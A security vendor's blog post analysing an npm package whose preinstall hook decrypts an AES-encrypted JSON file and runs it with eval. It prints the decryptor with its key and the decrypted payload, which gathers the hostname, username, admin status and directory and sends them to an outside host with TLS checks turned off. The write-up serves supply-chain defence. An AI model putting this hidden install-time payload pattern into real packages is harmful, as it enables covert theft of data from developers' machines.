Today’s Security Tidbit: An Encrypted JSON File Containing Malicious Code

An Encrypted JSON File Containing Malicious Code
Table of Contents

As security researchers, we see new malicious methods being introduced on a daily basis from the ever-industrious global cadre of malicious actors. But not all of the things we find constitute breaking news. Sometimes, we run across something that doesn’t necessarily pose a threat, but still piques our interest. Instead of being the security equivalent of a four-course meal, it’s more of an amuse bouche. 

Case in point: an interesting new behaviour we recently encountered from a security researcher. In this instance, we observed a malicious package named ‘support-center-components’ that is executed upon installation. What really caught our interest here is that the harmful code is not only in a JSON file, but it is also fully encrypted.

JSON is a lightweight data-interchange format, and it is used for data purposes. A package.json file is located at the root of any Node.js project and is critical for the installation and operation of the project. Data from this JSON file enables dependency installation, script running and more. However, it is not generally used for malicious code – and especially not encrypted malicious code.

Inside the package

Let’s take a look at what this particular person came up with. The package contains 5 files: 

  • A standard README file
  • A package.json file containing a preinstall command for the install.js file we will inspect shortly
  • An empty index.js file
  • Two one-liner files, install.js and install.json
Figure 1 – the content of the package

The install.js and install.json are what caught our attention, as an inspection of the screenshots below will illustrate: 

Figure 2 – the install.js file and the encrypted install.json file

AES-256 encryption and decryption 

The install.js file indicates that the encryption algorithm used is AES-256, which has a 32 byte key length. AES-256 is practically unbreakable by brute force methods based on current computing power, making it the strongest encryption standard.

While npm rules prohibit malicious security research, they often ignored by security researchers. Such is the case here, which means that all the relevant information needed to decrypt the code is visible to us. Regardless, we found it useful as an exercise to show how easy it is to upload a malicious encrypted code to npm.

The necessary information to decrypt the JSON file is as follows:

  1. Cipher mode of decryption (CTR as stated in install.js)
  2. initialization vector (IV) used during encryption (stated at the beginning of install.json)
  3. Input format (HEX as stated in install.js)
  4. Secret key used for encryption (as stated in install.js under the variable ‘t’)
const e = require('crypto'),
r = 'aes-256-ctr',

t = 'QeThWmZq4t7w!z%C*F-JaNcRfUjXn2r5',

c = (c) => {

const n = e.createDecipheriv(r, t, Buffer.from(c.iv, 'hex'))

return Buffer.concat([

n.update(Buffer.from(c.content, 'hex')),

n.final(),

]).toString()

}

module.exports = { decrypt: c }

const n = require('fs')

n.readFile('install.json', (e, r) => {

eval(c(JSON.parse(r)))

})

Figure 3 – The install.js file being beautified and made more readable

The code will take the install.json file and decrypt it with a custom function c using createDecipheriv, which is a built-in function of the ‘crypto’ module. It is used to create a Decipher object, with the stated algorithmkey, and IV.

After applying the relevant information to decrypt the mysterious JSON file, we see the following code:

var os = require('os');
var hostname = os.hostname();
var username = os.userInfo().username;
var platform = os.platform();
var dns;
try {
    dns = require('dns');
}
catch {
}
var admin_text;
if (platform == 'win32' || platform == 'win64') {
    try {
        net_session = require('child_process').execSync('net session');
        admin_text = 'admin';
    }
    catch {
        admin_text = 'non-admin';
    }
    username = require('child_process').execSync('systeminfo | findstr /B
 Domain').toString().replace('Domain:', '').trim() + '/' + username;
} else {
    admin_text = os.userInfo().uid;
    try {
        const { execSync } = require('child_process');
        let stdout = execSync('groups').toString().replace('\n', '');
        admin_text += ' ' + stdout;
    }
    catch {
    }
}
try {
    dns.resolve4('i2gind2y83hr03sui7wppz4bi.canarytokens.com', function(err, addresses) {});
}
catch {
}
process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
const https = require('https')
const options = {
  hostname: 'bugbounty.click',
  port: 443,
  path: '/dc1234-bugbounty/knock-knock/log-install.php?Username=' + 
encodeURI(username + ' (' + admin_text + ')') + '&Hostname=' + 
encodeURI(hostname) + '&Package=support-center-components&PWD=' + 
__dirname,
  method: 'GET'
}
const req = https.request(options)
req.end();

Figure 4 – Decrypted json.install file

The code first requires the ‘os’ module, which is used to get sensitive information such as the hostname and username of the user running this code. It then tries to acquire the admin status of the current user. From there, we see a check for the OS, followed by a check to see whether  the user is an administrator. Finally, there is an HTTPS request to connect to the bugbounty.click website on port 443 and send a request for the log-install.php file.

As stated in the README file of the package: “if you’re reading this, then if I was a malicious hacker then I could have control over your machine.”

Grammatical issues aside, this is a true statement. As we can see in the package.json file, the command “preinstall”: “node install.js” executes install.js upon installation of the package from npm, which then executes the malicious code install.jsonInstall.json may contain any malicious harmful code.

Figure 5 – the README file of the package ‘support-center-components’

Impact

Now, a security researcher playing around on npm is not generally considered a threat, and by no means do we want to imply that it is. But bear in mind that malicious authors often mimic each other’s code, which raises the risk that we will see a repeat of this method of encrypted malicious code. And next time, it could well use a more dangerous code in the JSON file, such as a remote shell.

How to protect your organization

Supply chain attacks evolve and grow more frequent each day. The easiest way to protect this attack surface is to use an automated supply chain security solution such as Mend Supply Chain Defender, which informs you when you import a malicious package from open source registries. 

Mend enterprise customers using JFrog Artifactory as a private repository manager can prevent malicious open source software from entering their code base using the Mend Supply Chain Defender Integration with JFrog Artifactory

Manage open source risk

Recent resources

More than 100K sites impacted by Polyfill supply chain attack

The new Chinese owner tampers with the code of cdn.polyfill.io to inject malware targeting mobile devices.

Read more

Over 100 Malicious Packages Target Popular ML PyPi Libraries

Discover the latest security threat as over 100 malicious packages target popular ML PyPi libraries. Learn about the attack methods.

Read more

What New Security Threats Arise from The Boom in AI and LLMs?

Explore the security threats arising from the boom in AI and LLMs, including data privacy, misinformation, and resource exhaustion.

Read more